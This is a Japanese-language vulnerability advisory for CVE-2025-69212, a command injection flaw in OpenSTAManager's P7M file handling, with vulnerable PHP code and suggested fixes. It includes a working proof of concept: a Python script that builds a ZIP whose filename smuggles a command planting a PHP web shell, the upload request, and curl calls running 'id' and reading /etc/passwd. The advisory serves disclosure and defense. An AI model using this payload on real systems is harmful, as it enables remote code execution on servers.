
CVE-2025-69212 - OpenSTAManagerは、P7Mファイル処理におけるOSコマンドインジェクションの脆弱性があります。
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2025-69212 |
| 重要度 | CRITICAL |
| アドバイザリ | アドバイザリを表示 |
| 発見者 | Lukasz Rybak |
P7M(署名付き XML)ファイルのデコード機能には、重大な OS コマンドインジェクションの脆弱性が存在します。認証済みの攻撃者は、悪意のあるファイル名を持つ .p7m ファイルを含む ZIP ファイルをアップロードすることで、サーバー上で任意のシステムコマンドを実行できます。
ファイル: src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$content = file_get_contents($file);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// VULNERABLE - No input sanitization!
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
問題点:
$file パラメータはサニタイズなしで直接 exec() に渡されますplugins/importFE_ZIP/actions.php:126(自動インポートが有効な場合)
foreach ($files_xml as $xml) {
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP!
plugins/importFE/src/FatturaElettronica.php:56(コンストラクタ)
if (string_ends_with($name, '.p7m')) {
$file = XML::decodeP7M($this->file); // $name from user input!
.p7m ファイルの場合、decodeP7M() が呼び出されますexec() コマンドに注入されます⚠️ 重要な注意: PHP の ZipArchive::extractTo() はファイル名を / 文字で分割します。ペイロードのコマンドに / を含めないでください。絶対パスの代わりに cd directory && command を使用してください。
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip
[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"
save
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"
14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"
48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
レスポンス(500 エラーは想定どおり - XML 解析はコマンド実行の後に失敗します):
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
検証 - ウェブシェルが作成されました:
ウェブシェルは認証なしで公開アクセス可能です:
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
public static function decodeP7M($file)
{
// Validate that file path doesn't contain shell metacharacters
if (preg_match('/[;&|`$(){}\[\]<>]/', $file)) {
throw new \Exception('Invalid file path');
}
// Better: use escapeshellarg()
$safe_file = escapeshellarg($file);
$safe_output = escapeshellarg($output_file);
exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}
または
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
// Only allow alphanumeric, dots, dashes, underscores
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue; // Skip invalid filenames
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
発見者:Łukasz Rybak
本 CVE は、coordinated vulnerability disclosure(調整された脆弱性開示)の慣行に従って責任を持って開示されました。ここで提供される情報は、教育および防御目的のみを目的としています。